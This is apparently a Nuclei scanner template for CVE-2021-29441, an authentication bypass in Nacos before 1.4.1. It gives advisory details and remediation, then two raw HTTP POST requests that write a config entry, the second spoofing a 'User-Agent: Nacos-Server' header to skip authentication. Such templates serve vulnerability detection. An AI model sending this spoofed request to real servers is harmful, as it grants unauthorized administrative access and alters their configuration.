id: CVE-2021-29441 info: name: Nacos <1.4.1 - Authentication Bypass author: dwisiswant0 severity: critical description: | This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5. In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server. remediation: | Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441). reference: - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ - https://github.com/alibaba/nacos/issues/4701 - https://github.com/advisories/GHSA-36hp-jr8h-556f - https://github.com/alibaba/nacos/pull/4703 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-29441 cwe-id: CWE-290 epss-score: 0.96644 epss-percentile: 0.99527 cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: alibaba product: nacos tags: nacos,auth-bypass,cve,cve2021 http: - raw: - | POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 Host: {{Hostname}} Accept: */* - | POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 Host: {{Hostname}} Accept: */* User-Agent: Nacos-Server req-condition: true matchers-condition: and matchers: - type: dsl dsl: - "status_code_1 == 403" - "status_code_2 == 200" condition: and - type: dsl dsl: - "contains(body_1, 'Forbidden')" - "body_2 == 'true'" condition: and - type: word part: header words: - "application/json" # digest: 4a0a00473045022076936bd4cb8877d6a77b28fcaeeac6b953c64fd18f828e9646f980e1e3925c9c022100cc9e65fb5aadbd1cffb02fef6dced79ee8f939bb764fbfa6b98e65db423eb0e9:922c64590222798bb761d5b6d8e72950